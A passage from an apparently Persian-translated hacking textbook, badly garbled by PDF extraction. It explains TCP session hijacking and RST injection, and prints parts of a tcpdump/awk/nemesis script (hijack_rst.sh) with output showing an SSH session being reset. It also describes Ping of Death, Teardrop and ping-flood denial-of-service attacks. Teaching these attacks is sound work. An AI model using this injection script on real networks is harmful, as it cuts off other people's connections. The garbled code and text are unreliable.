ﺷﻮد .اﮔﺮ ﻫﺮ دو ﻃﺮف ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﻧﺎدرﺳﺖ داﺷﺘﻪ ﺑﺎﺷﻨﺪ ،اﻧﺠﺎم ﻫﺮ ﮔﻮﻧﻪ ﺗﻼش ﺗﻮﺳـﻂ ﻃـﺮﻓﯿﻦ ﺟﻬـﺖ ﺑﺮﻗـﺮاری
اﺗﺼﺎل ،ﺑﻪ ﻗﺴﻤﺖ ﮔﯿﺮﻧﺪه ﻣﺮﺑﻮﻃﻪ ﻣﻨﺘﻘﻞ ﻧﺨﻮاﻫﺪ ﺷﺪ :اﻣﺎ ارﺗﺒﺎط ﺑﺮﻗﺮار ﺧﻮاﻫﺪ ﻣﺎﻧﺪ .اﯾـﻦ ﺷـﺮاﯾﻂ ﯾـﮏ ﺣﺎﻟـﺖ ﻧﺎﻫﻤﮕـﺎم
) (desynchronizedﻧﺎم دارد ﮐﻪ ﺳﺒﺐ ﺑﻪ ﺗﻌﻠﯿﻖ اﻓﺘﺎدن ارﺗﺒﺎط ﻣﯽ ﺷﻮد.
ﺑﺮای اﻧﺠﺎم ﯾﮏ ﺣﻤﻠﻪ ،TCP/IP Hijackingﻧﻔﻮذﮔﺮ ﺑﺎﯾـﺪ روی ﻫﻤـﺎن ﺷـﺒﮑﻪ ای ﺑﺎﺷـﺪ ﮐـﻪ ﻗﺮﺑـﺎﻧﯽ در آن اﺳـﺖ ،اﻣـﺎ
ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ﮐﻪ ﻗﺮﺑﺎﻧﯽ ﺧﻮاﻫﺎن ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ آن اﺳﺖ ،ﻣﯽ ﺗﻮاﻧﺪ در ﻫﺮ ﺟﺎﯾﯽ ﺑﺎﺷـﺪ .اوﻟـﯿﻦ ﮔـﺎم ﺑـﺮای ﻧﻔـﻮذﮔﺮ
اﺳﺘﻔﺎده از ﺗﮑﻨﯿﮏ اﺳﺘﺮاق ﺑﺮای اﺳﺘﺮاق ارﺗﺒﺎط ﻗﺮﺑﺎﻧﯽ اﺳﺖ :ﺑﺎ اﯾﻦ ﮐﺎر ،اﯾﻦ اﻣﮑﺎن ﺑﺮای ﻧﻔﻮذﮔﺮ ﺑﻪ وﺟﻮد ﻣﯽ آﯾـﺪ ﮐـﻪ
ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ را ،ﻫﻢ در ﻣﺎﺷﯿﻦ ﻗﺮﺑﺎﻧﯽ )ﺳﯿﺴﺘﻢ Aدر ﻣﺜـﺎل زﯾـﺮ( ،و ﻫـﻢ در ﻣﺎﺷـﯿﻦ ﻣﯿﺰﺑـﺎن )ﺳﯿـﺴﺘﻢ (Bﻣﻨﻄﺒـﻖ
) (matchﻧﻤﺎﯾﺪ .آﻧﮕﺎه ﻧﻔﻮذﮔﺮ ﺑﺎ اﺳﺘﻔﺎده از ﺷﻤﺎره ﺗﻮاﻟﯽ ﺻﺤﯿﺢ ،ﯾﮏ ﺑﺴﺘﻪ ﺟﻌﻠـﯽ از آدرس IPﺳﯿـﺴﺘﻢ ﻗﺮﺑـﺎﻧﯽ را ﺑـﻪ
ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ارﺳﺎل ﻣﯽ ﮐﻨﺪ.
ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ﺑﺴﺘﻪ ﺟﻌﻠﯽ را درﯾﺎﻓﺖ و ﮔﻤﺎن ﻣﯽ ﮐﻨﺪ ﮐﻪ اﯾﻦ ﺑﺴﺘﻪ از ﻣﺎﺷﯿﻦ ﻗﺮﺑﺎﻧﯽ ﻣﯽ آﯾـﺪ ،ﺳـﭙﺲ ﺷـﻤﺎره ﺗـﻮاﻟﯽ را
اﻓﺰاﯾﺶ داده و آﻧﺮا ﺑﻪ ﻋﻨﻮان ﭘﺎﺳﺦ ﺑﻪ IPﻗﺮﺑﺎﻧﯽ ﻣﯽ ﻓﺮﺳﺘﺪ .ﭼﻮن ﻣﺎﺷﯿﻦ ﻗﺮﺑﺎﻧﯽ ﻫـﯿﭻ اﻃﻼﻋـﯽ راﺟـﻊ ﺑـﻪ ﺑـﺴﺘﻪ ﺟﻌﻠـﯽ
ﻧﺪارد ،ﭘﺲ ﭘﺎﺳﺦ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ﯾﮏ ﺷﻤﺎره ﺗﻮاﻟﯽ ﻧﺎدرﺳﺖ دارد ،ﻟﺬا ﻗﺮﺑﺎﻧﯽ ،ﺑﺴﺘﻪ ﭘﺎﺳﺦ )درﯾﺎﻓﺘﯽ از ﺳﯿﺴﺘﻢ ﻣﯿﺰﺑﺎن( را
ﺣﺬف ﻣﯽ ﮐﻨﺪ .ﭼﻮن ﻣﺎﺷﯿﻦ ﻗﺮﺑﺎﻧﯽ ،ﺑﺴﺘﻪ ﭘﺎﺳﺦ ﺳﯿﺴﺘﻢ ﻣﯿﺰﺑﺎن را ﻧﺎدﯾﺪه ﮔﺮﻓﺘﻪ اﺳﺖ ،ﻓﺮآﯾﻨﺪ ﺷﻤﺎرش ﺷﻤﺎره ﺗﻮاﻟﯽ در
ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺧﺎﻣﻮش ﻣﯽ ﮔﺮدد .ﻟﺬا ﻣﺘﻘﺎﺑﻼ ،ﺑﺴﺘﻪ ﻫﺎی ارﺳﺎﻟﯽ از ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺑﻪ ﺳﯿﺴﺘﻢ ﻣﯿﺰﺑﺎن ،ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ
ﻧﺎدرﺳﺘﯽ ﺧﻮاﻫﻨﺪ داﺷﺖ .اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﺒﺐ ﻧﺎدﯾﺪه ﮔﺮﻓﺘﻦ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ ﺗﻮﺳﻂ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن ﻣﯽ ﺷﻮد.
ﻧﻔﻮذﮔﺮ ارﺗﺒﺎط ﻗﺮﺑﺎﻧﯽ ﺑﺎ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن را اﺟﺒﺎرا ﺑﻪ ﺣﺎﻟﺖ ﻧﺎﻫﻤﮕﺎم در ﻣـﯽ آورد .ﭼـﻮن ﻧﻔـﻮذﮔﺮ اوﻟـﯿﻦ ﺑـﺴﺘﻪ ﺟﻌﻠـﯽ را
ارﺳﺎل ﻣﯽ ﮐﻨﺪ )اﯾﻦ ﺑﺴﺘﻪ ﺳﺒﺐ ﻫﻤﻪ اﯾﻦ ﻫﺮ و ﻣﺮج ﻫﺎ ﺷﺪ( ،ﻟﺬا ﻣﯽ ﺗﻮاﻧﺪ روال ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ را در دﺳـﺖ ﮔﺮﻓﺘـﻪ و
ﺑﻪ ﺟﻌﻞ ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎ از آدرس IPﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺑﻪ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن اداﻣﻪ دﻫﺪ .اﯾﻦ ﮐﺎر ﺗﺎ زﻣﺎن ﻣﻌﻠﻖ ﺑـﻮدن )(hang
ارﺗﺒﺎط ﻗﺮﺑﺎﻧﯽ ،ﺑﻪ ﻧﻔﻮذﮔﺮ اﺟﺎزه ارﺗﺒﺎط ﺑﺎ ﻣﺎﺷﯿﻦ ﻣﯿﺰﺑﺎن را ﻣﯽ دﻫﺪ.
ﺷﮑﻞ ﺳﺎده ای از ﻋﻤﻠﯿﺎت TCP/IP Hijackingﻣﺘﻀﻤﻦ ﺗﺰرﯾـﻖ ﯾـﮏ ﺑـﺴﺘﻪ ﻇـﺎﻫﺮا ﻣﻌﺘﺒـﺮِ (RST) Resetاﺳـﺖ .در
ﺻﻮرﺗﯽ ﮐﻪ ﻣﻨﺒﻊ ﺟﻌﻞ ﺷﺪه و ﺷﻤﺎره ﺗﺼﺪﯾﻖ ﻧﯿﺰ ﺻﺤﯿﺢ ﺑﺎﺷﺪ ،ﻃﺮف ﮔﯿﺮﻧﺪه ﮔﻤﺎن ﻣﯽ ﺑﺮد ﮐـﻪ واﻗﻌـﺎ ﻣﻨﺒـﻊ اﯾـﻦ ﺑـﺴﺘﻪ
resetرا ارﺳﺎل ﮐﺮده اﺳﺖ و ﺑﻪ اﯾﻦ ﺗﺮﺗﯿﺐ ارﺗﺒﺎط را resetﻣﯽ ﮐﻨﺪ.
131
اﯾﻦ ﺗﺎﺛﯿﺮات را ﻣﯽ ﺗﻮان ﺑﺎ اﺑﺰاری ﭼﻮن tcpdumpو awkو nemesisاﺟﺮا ﮐﺮد .اﺑـﺰار TCPDumpﺟﻬـﺖ اﺳـﺘﺮاق
ارﺗﺒﺎﻃﺎت اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ﮐﻪ اﯾﻦ ﻓﺮآﯾﻨﺪ را ﺑﺎ ﻓﯿﻠﺘﺮ ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎﯾﯽ ﺑﺎ ﻓﻠﮓ ﺗﻨﻈﯿﻢ ﺷﺪه ی ،ACKاﻧﺠـﺎم ﻣـﯽ دﻫـﺪ.
اﯾﻦ ﻋﻤﻞ را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ ﻓﯿﻠﺘﺮ ﺑﺴﺘﻪ ﮐﻪ ﺳﯿﺰدﻫﻤﯿﻦ اوﮐﺘﺖ ﻣﻮﺟﻮد در ﻫﺪر TCPرا ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﺪ ،اﻧﺠﺎم داد .ﻓﻠﮓ
ﻫﺎ ﺑﻪ ﺗﺮﺗﯿﺐ از ﭼﭗ ﺑﻪ راﺳﺖ ﺑﻪ ﺻﻮرت SYN ،RST ،PSH ،ACK ،URGو FINﻫﺴﺘﻨﺪ :ﯾﻌﻨـﯽ اﮔـﺮ ﻓﻠـﮓ ACK
روﺷﻦ ﺑﺎﺷﺪ ،ﺳﯿﺰدﻫﻤﯿﻦ ﻫﺸﺘﺎﯾﯽ در ﺑﺎﯾﻨﺮی ﺑﻪ ﺻﻮرت 00010000اﺳﺖ )ﮐﻪ ﻣﻌﺎدل ده دﻫﯽ 16ﻣﯽ ﺑﺎﺷﺪ( .اﮔﺮ ،ﻫـﻢ
،SYNو ﻫﻢ ACKروﺷﻦ ﺑﺎﺷﺪ ،ﺳﯿﺰدﻫﻤﯿﻦ اوﮐﺘﺖ در ﺣﺎﻟﺖ ﺑﺎﯾﻨﺮی ﺑﻪ ﺻﻮرت 00010010ﻇﺎﻫﺮ ﺷﺪه ﮐﻪ ﻣﻌﺎدل ده
دﻫﯽ 18اﺳﺖ.
ﺑﺮای اﯾﺠﺎد ﻓﯿﻠﺘﺮی ﮐﻪ ﺑﺘﻮاﻧﺪ ﺑﺪون ﺗﻮﺟﻪ ﺑﻪ دﯾﮕﺮ ﺑﯿﺘﻬﺎ ،در زﻣﺎن روﺷﻦ ﺑﻮدن ﻓﻠﮓ ACKﻋﻤﻞ ﮐﻨﺪ ،ﻣﯽ ﺗـﻮان ﻋﻤﻠﮕـﺮ
ﺑﯿﺘﯽ ANDرا اﺳﺘﻔﺎده ﮐﺮد AND .ﮐﺮدن 00010010ﺑﺎ ،00010000ﺗﻮﻟﯿﺪ 00010000را ﺧﻮاﻫﺪ ﮐﺮد ،زﯾﺮا ﻫﻨﮕﺎم
روﺷﻦ ﺑﻮدن ﻫﺮ دو ﺑﯿﺖ ،ﺑﯿﺖ ACKﺗﻨﻬﺎ ﺑﯿﺖ ﻣﻮﺟﻮد ﺧﻮاﻫﺪ ﺑـﻮد ،ﯾﻌﻨـﯽ ﻓﯿﻠﺘـﺮ ،tcp[13] & 16 == 16ﺑـﺴﺘﻪ ﻫـﺎی
ﺗﻨﻈﯿﻢ ﺷﺪه ﺑﺎ ﻓﻠﮓ ACKرا ﺻﺮف ﻧﻈﺮ از وﺿﻌﯿﺖ دﯾﮕﺮ ﻓﻠﮓ ﻫﺎ ،ﻓﯿﻠﺘﺮ ﻣﯿﮑﻨﺪ.
"# tcpdump -S -n -e -l "tcp[13] & 16 == 16
tcpdump: listening on eth0
22:27:17.437439 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 98: 192.168.0.193.22
>
)192.168.0.118.2816: P 1986373934:1986373978(44) ack 3776820979 win 6432 (DF
[tos
]0x10
22:27:17.447379 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 242: 192.168.0.193.22
>
192.168.0.118.2816: P 1986373978:1986374166(188) ack 3776820979 win 6432
(DF) [tos
]0x10
ﻓﻠﮓ –sﺑﻪ tcpdumpدﺳﺘﻮر ﭼﺎپ ﮐﺮدن ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﻣﻄﻠﻖ را ﻣﯽ دﻫﺪ .ﻓﻠﮓ –nﺑﺮﻧﺎﻣﻪ tcpdumpرا از ﺗﺒﺪﯾﻞ
آدرس ﻫﺎ ﺑﻪ ﻧﺎم ﻫﺎ ﻣﻨﻊ ﻣﯽ ﮐﻨﺪ .ﺑﻌﻼوه ،ﻓﻠﮓ –eﺑﺮای ﭼﺎپ ﮐﺮدن ﻫﺪرِ ﺳﻄﺢ-اﺗـﺼﺎل روی ﻫـﺮ dump lineاﺳـﺘﻔﺎده
ﻣﯿﺸﻮد .ﻓﻠﮓ -1ﺧﻂ ﺧﺮوﺟﯽ را ﺑﺎﻓﺮ ﻣﯽ ﮐﻨﺪ ،ﻟﺬا ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ اﺑﺰار دﯾﮕﺮی ﻣﺎﻧﻨﺪ awkﻫﺪاﯾﺖ ﮐﺮد ).(pipe
awkﯾﮏ اﺑﺰار اﺳﮑﺮﯾﭙﺘﯽ ﻓﻮق اﻟﻌﺎده اﺳﺖ ﮐـﻪ ﻣـﯽ ﺗـﻮان آﻧـﺮا ﺑـﺮای ﺗﻔـﺴﯿﺮ 80ﺧﺮوﺟـﯽ ﻫـﺎی tcpdumpﺑـﻪ ﻣﻨﻈـﻮر
اﺳﺘﺨﺮاج آدرس ﻣﺒﺪا و ﻣﻘﺼﺪ ،ﭘﻮرت ﻫﺎ ،آدرس ﻫﺎی ﺳﺨﺖ اﻓﺰاری و ﻫﻤﭽﻨﯿﻦ ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ و ﺗﺼﺪﯾﻖ ﺑﮑﺎر ﺑـﺮد.
ﺷﻤﺎره ﺗﺼﺪﯾﻖ در ﯾﮏ ﺑﺴﺘﻪ ﺧﺮوﺟﯽ از ﯾﮏ ﻫﺪف ،در ﺣﻘﯿﻘﺖ ﺷﻤﺎره ﺗﻮاﻟﯽ ﺟﺪﯾﺪی اﺳﺖ ﮐﻪ ﺑـﺮای ﺑـﺴﺘﻪ ﭘﺎﺳـﺦ ﺧـﻮد
اﻧﺘﻈﺎر دارد .اﯾﻦ اﻃﻼﻋﺎت را ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از ﻧﺮم اﻓﺰار Nemesisﺟﻬﺖ ﺷﻨﺎور ﮐﺮدن ﯾﮏ ﺑﺴﺘﻪ ﺟﻌﻠﯽ RSTﺑﮑﺎر
ﺑﺮد .آﻧﮕﺎه ،اﯾﻦ ﺑﺴﺘﻪ ﺟﻌﻠﯽ ارﺳﺎل ﻣﯽ ﺷﻮد و ﺗﻤﺎم ارﺗﺒﺎﻃﺎﺗﯽ ﮐﻪ tcpdumpﯾﺎﻓﺘﻪ اﺳﺖ reset ،ﻣﯽ ﺷﻮﻧﺪ.
File: hijack_rst.sh
#!/bin/sh
{' tcpdump -S -n -e -l "tcp[13] & 16 == 16" | awk
# Output numbers as unsigned
;"CONVFMT="%u
80
Parse
132
src_port = substr(src[5], 1, length(src[5])-1);
dst_port = dst[5];
ﺑــﯿﻦSSH ﯾــﮏ ﻧﺸــﺴﺖ. ﻣــﯽ ﮔﺮدﻧــﺪreset ، ﺗﻤــﺎم ارﺗﺒﺎﻃــﺎت ﺑﻤﺤــﺾ ﺗــﺸﺨﯿﺺ،ﺑــﻪ ﻣﺤــﺾ اﺟــﺮای اﯾــﻦ اﺳــﮑﺮﯾﭙﺖ
. ﺷﺪه اﺳﺖreset در ﻣﺜﺎل زﯾﺮ،192.168.0.118 و192.168.0.193
# ./hijack_rst.sh
tcpdump: listening on eth0
[in] 22:37:42.307362 0:c0:f0:79:3d:30 0:0:ad:d1:c7:ed 0800 74:
192.168.0.118.2819
> 192.168.0.193.22: P 3956893405:3956893425(20) ack 2752044079
[out] nemesis tcp -v -fR -S 192.168.0.193 -x 22 -H 0:0:ad:d1:c7:ed -D
192.168.0.118
-y 2819 -M 0:c0:f0:79:3d:30 -s 2752044079
TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
ﺷﮑﻞ دﯾﮕﺮی از ﺣﻤﻼت ﺷﺒﮑﻪ ،ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ اﺳﺖ .ﻋﻤﻠﯿﺎت RST Hijackingﻣﻌﻤﻮﻻ ﺷـﮑﻠﯽ از ﺣﻤـﻼت ﺗﮑـﺬﯾﺐ
ﺳﺮوﯾﺲ ﻣﯽ ﺑﺎﺷﺪ .در اﯾﻦ ﻓﺮآﯾﻨﺪ ،ﺣﻤﻠﻪ ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ ﺑﻪ ﺟـﺎی ﺗـﻼش در ﺳـﺮﻗﺖ اﻃﻼﻋـﺎت ،از دﺳـﺘﯿﺎﺑﯽ ﺑـﻪ ﯾـﮏ
ﺳﺮوﯾﺲ ﯾﺎ ﻣﻨﺒﻊ ﺟﻠﻮﮔﯿﺮی ﻣﯽ ﮐﻨﺪ .دو ﺷﮑﻞ اﺳﺎﺳﯽ از ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ وﺟﻮد دارﻧﺪ :آﻧﻬﺎﯾﯽ ﮐﻪ ﺳﺮوﯾﺲ ﻫـﺎ
را ﮐﺮش و آﻧﻬﺎﯾﯽ ﮐﻪ ﺳﺮوﯾﺲ ﻫﺎ را ﻏﺮﻗﻪ ) (floodﻣﯽ ﮐﻨﻨﺪ.
در ﺣﻘﯿﻘﺖ ،ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺴﯽ ﮐﻪ ﻣﻮﺟﺐ ﮐﺮش ﮐﺮدن ﺳﺮوﯾﺲ ﻫﺎ ﻣﯽ ﺷﻮﻧﺪ ،ﺷﺒﯿﻪ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺑﺮﻧﺎﻣـﻪ ای
ﻫﺴﺘﻨﺪ و ﻧﻪ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﺷﺒﮑﻪ .اﯾﻦ ﺣﻤﻼت اﻏﻠﺐ واﺑﺴﺘﻪ ﺑﻪ ﭘﯿـﺎده ﺳـﺎزی ﺿـﻌﯿﻒ ﺗﻮﺳـﻂ ﯾـﮏ ﻓﺮوﺷـﻨﺪه
ﺧﺎص ﻫﺴﺘﻨﺪ .ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ ﺳﺮرﯾﺰ ﺑﺎﻓﺮ ﺑﺎ ﻋﺎﻣﻠﯿﺖ ﻧﺎدرﺳﺖ ،ﻣﻌﻤﻮﻻ ﺑﻪ ﺟﺎی ﺗﻐﯿﯿﺮ روﻧـﺪ اﺟـﺮا ﺑـﻪ ﺷـﻞ-ﮐـﺪ ﺗﺰرﯾـﻖ
ﺷﺪه ،ﺗﻨﻬﺎ ﺳﯿﺴﺘﻢ ﻣﻘﺼﺪ را ﮐﺮش ﻣﯽ ﮐﻨﺪ .اﮔﺮ اﯾﻦ آﺳﯿﺐ ﭘـﺬﯾﺮی روی ﯾـﮏ ﺳـﺮور ﺑﺎﺷـﺪ ،آﻧﮕـﺎه ﻫـﯿﭻ ﮐـﺲ اﻣﮑـﺎن
دﺳﺘﯿﺎﺑﯽ ﺑﻪ آن ﺳﺮوﯾﺲ را ﻧﺨﻮاﻫﺪ داﺷﺖ .ﺣﻤـﻼت ﺗﮑـﺬﯾﺐ ﺳـﺮوﯾﺲِ ﮐـﺮش ﮐﻨﻨـﺪه ای از اﯾـﻦ ﻧـﻮع ،ﻣﻌﻤـﻮﻻ ارﺗﺒـﺎط
ﻧﺰدﯾﮑﯽ ﺑﺎ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺧﺎص و ﯾﮏ ﻧﺴﺨﻪ ﺧﺎص دارﻧﺪ .ﺑﺎ اﯾﻦ ﺣﺎل ﺣﻤﻼت ﻣﻌﺪودی از ﺗﮑﺬﯾﺐ ﺳـﺮوﯾﺲِ ﮐـﺮش ﮐﻨﻨـﺪه
وﺟﻮد داﺷﺘﻪ اﻧﺪ ﮐﻪ ﺑﻪ دﻟﯿﻞ اﺷﺘﺒﺎﻫﺎت ﺷﺒﮑﻪ ای ﯾﮑﺴﺎن ،ﭼﻨﺪﯾﻦ ﻓﺮوﺷﻨﺪه را ﺗﺤﺖ ﺗﺎﺛﯿﺮ ﻗﺮار ﻣـﯽ دادﻧـﺪ .اﮔﺮﭼـﻪ اﯾـﻦ
ﺧﻄﺎﻫﺎ در اﻏﻠﺐ ﺳﯿﺴﺘﻢ ﻫﺎی ﻋﺎﻣﻞ ﻣﺪرن patchﺷﺪه اﻧﺪ ،اﻣﺎ ﻫﻤﭽﻨﺎن ﻣﻔﯿﺪ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ درﺑﺎره ﭼﮕﻮﻧﮕﯽ اﺳـﺘﻔﺎده از
اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ در وﺿﻌﯿﺖ ﻫﺎی ﻣﺨﺘﻠﻒ ﻓﮑﺮ ﮐﻨﯿﻢ.
ﺑﺮ اﺳﺎس وﯾﮋﮔـﯽ ﺑـﺴﺘﻪ ﻫـﺎی ،ICMPﭘﯿـﺎم ﻫـﺎی ICMP Echoدارای 216ﯾـﺎ 65,536ﺑﺎﯾـﺖ داده در ﻗـﺴﻤﺖ data
ﻫﺴﺘﻨﺪ .ﻗﺴﻤﺖ dataدر ﺑﺴﺘﻪ ﻫﺎی ICMPﻣﻌﻤﻮﻻ ﭼﺸﻢ ﭘﻮﺷﯽ ﻣـﯽ ﺷـﻮد ،ﭼـﻮن اﻃﻼﻋـﺎت ﻣﻬـﻢ در ﻫـﺪر ﻗـﺮار دارﻧـﺪ.
ﭼﻨﺪﯾﻦ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ در ﺻﻮرت ارﺳﺎل ﭘﯿﺎم ﻫﺎی ICMP Echoﺑﺎ اﻧﺪازه ﻣﺘﺠﺎوز از ﻣﻘـﺪار ﺗﻌﯿـﯿﻦ ﺷـﺪه ﺧـﻮد ،ﮐـﺮش
ﮐﺮدﻧﺪ .ﻓﻮج ﻋﻈﯿﻤﯽ از ﭘﯿﺎم ﻫﺎی ICMP Echoﺑﺎ اﻧـﺪازه ﻫـﺎی ﺑـﺰرگ ،اﺻـﻄﻼﺣﺎ Ping of Deathﻧﺎﻣﯿـﺪه ﺷـﺪ .اﻟﺒﺘـﻪ
ﺗﻘﺮﯾﺒﺎ ﺗﻤﺎﻣﯽ ﺳﯿﺴﺘﻢ ﻫﺎی ﻣﺪرن در ﻣﻘﺎﺑﻞ اﯾﻦ آﺳﯿﺐ ﭘﺬﯾﺮی اﺻﻼح ﺷﺪه اﻧﺪ.
.3,5,2ﺣﻤﻼت TearDrop
ﺣﻤﻠﻪ ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ دﯾﮕﺮی از ﻧﻮع ﮐﺮش ﮐﻨﻨﺪه ﺑﻪ ﻫﻤﺎن ﻋﻠﺖ ﻗﺒﻠﯽ ﺑﻮﺟﻮد آﻣﺪ ﮐﻪ اﯾﻨﺒـﺎر TearDropﻧـﺎم ﮔﺮﻓـﺖ.
Teardropﺿــﻌﻒ دﯾﮕــﺮی را در ﭘﯿــﺎده ﺳــﺎزی ﻫــﺎی ﭼﻨــﺪﯾﻦ ﻓﺮوﺷــﻨﺪه در ﻋﻤﻠﯿــﺎت ﺳــﺮﻫﻢ ﺳــﺎزی ﻗﻄﻌــﻪ ﻫــﺎی ،IP
اﮐﺴﭙﻠﻮﯾﺖ ﻣﯿﮑﺮد .ﻣﻌﻤﻮﻻ ﻫﻨﮕﺎم ﻗﻄﻌﻪ ﻗﻄﻌﻪ ﺷﺪن ﯾﮏ ﺑﺴﺘﻪ ،آﻓﺴﺖ ﻫﺎی ذﺧﯿﺮه ﺷﺪه در ﻫـﺪر ،ﺑـﺮای ﺳـﺎﺧﺖ ﻣﺠـﺪد
134
ﺑﺴﺘﻪ اﺻﻠﯽ ﻣﺮﺗﺐ ﻣﯽ ﺷﻮﻧﺪ .ﺣﻤﻼت Teardropﭼﻨﺪ ﻗﻄﻌﻪ را ﺑﺎ آﻓﺴﺖ ﻫﺎی ﻣـﺸﺘﺮک ﻣـﯽ ﻓﺮﺳـﺘﺎد ﮐـﻪ ﺳـﺒﺐ ﮐـﺮش
ﮐﺮدن ﭘﯿﺎده ﺳﺎزی ﻫﺎﯾﯽ ﮐﻪ اﯾﻦ ﺷﺮط ﻏﯿﺮﻣﻌﻤﻮل را ﭼﮏ ﻧﮑﺮده ﺑﻮدﻧﺪ ،ﻣﯽ ﺷﺪ.
ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ از ﻧﻮع ﻓﻼد ،ﺗﻼﺷﯽ ﺑﺮ ﮐﺮش ﮐﺮدن ﯾﮏ ﻣﻨﺒﻊ ﯾﺎ ﺳﺮوﯾﺲ ﻧﺪارﻧﺪ ،ﺑﻠﮑﻪ آﻧﻬﺎ ﺳﻌﯽ ﻣﯽ ﮐﻨﻨـﺪ ﺑـﺎ
ارﺳﺎل داده ﻫﺎی ﺑﺰرﮔﺘﺮ از ﻇﺮﻓﯿﺖ ﮐﺎﻧﺎل ،ﻣـﺸﮑﻼﺗﯽ ﺑـﺮای ﺳﯿـﺴﺘﻢ ﻣﻘـﺼﺪ ﻓـﺮاﻫﻢ ﺳـﺎزﻧﺪ )اﺻـﻄﻼﺣﺎ اﯾـﻦ ﻋﻤﻠﯿـﺎت را
overloadﮐﺮدن ﻣﯽ ﻧﺎﻣﯿﻢ( .ﺑﻪ اﯾﻦ ﺻﻮرت آن ﻣﻨﺒﻊ ﯾﺎ ﺳﺮوﯾﺲ اﻣﮑﺎن ﭘﺎﺳﺦ ﮔﻮﯾﯽ را ﻧﺨﻮاﻫﺪ داﺷﺖ .ﺣﻤﻼﺗـﯽ از اﯾـﻦ
دﺳﺖ ﻣﯽ ﺗﻮاﻧﻨﺪ ﺳﺒﺐ اﻧﺴﺪاد ﻣﻨﺎﺑﻌﯽ ﭼﻮن ﭼﺮﺧﻪ ﻫﺎی ﭘﺮدازﻧﺪه و ﭘﺮوﺳﻪ ﻫﺎی ﺳﯿﺴﺘﻤﯽ ﺷﻮﻧﺪ ،اﻣﺎ ﯾـﮏ ﺣﻤﻠـﻪ از ﻧـﻮع
ﻓﻼد ،ﺳﻌﯽ ﺑﺮ اﻧﺴﺪاد ﯾﮏ ﻣﻨﺒﻊ ﺷﺒﮑﻪ را دارد.
ﺳﺎده ﺗﺮﯾﻦ ﻓﺮم ﺣﻤﻼت ﻓﻼد Ping Flood ،اﺳﺖ .ﻫﺪف اﯾﻦ ﻧﻮع ﺣﻤﻼت ،اﺳﺘﻔﺎده ﺑﯿﺶ از ﺣـﺪ از ﭘﻬﻨـﺎی ﺑﺎﻧـﺪ ﻗﺮﺑـﺎﻧﯽ
اﺳﺖ ،ﺑﻪ ﻃﻮرﯾﮑﻪ اﻣﮑﺎن ﻋﺒﻮر دﯾﮕﺮ ﺗﺮاﻓﯿﮏ ﻫﺎی ﻣﻌﺘﺒﺮ ﻧﺨﻮاﻫﺪ ﺑﻮد .ﻧﻔﻮذﮔﺮ ﭼﻨﺪﯾﻦ ﺑﺴﺘﻪ ﺑﺰرگ ﭘﯿﻨـﮓ را ﺑـﻪ ﻗﺮﺑـﺎﻧﯽ
ﻣﯽ ﻓﺮﺳﺘﺪ و ﭘﻬﻨﺎی ﺑﺎﻧﺪ ارﺗﺒﺎﻃﯽ ﺷﺒﮑﻪ ﻗﺮﺑﺎﻧﯽ را اﺷﻐﺎل ﻣﯽ ﮐﻨﺪ.
واﻗﻌﺎ ﭼﯿﺰ ﻫﻮﺷﻤﻨﺪاﻧﻪ ای در راﺑﻄﻪ ﺑﺎ اﯾﻦ ﺣﻤﻠﻪ وﺟﻮد ﻧﺪارد ،ﮐﻤﺎ اﯾﻨﮑﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﯾﮏ ﭘﯿﮑﺎر ﭘﻬﻨﺎی ﺑﺎﻧﺪ ﻧﺎم ﮔﺬاﺷﺖ؛
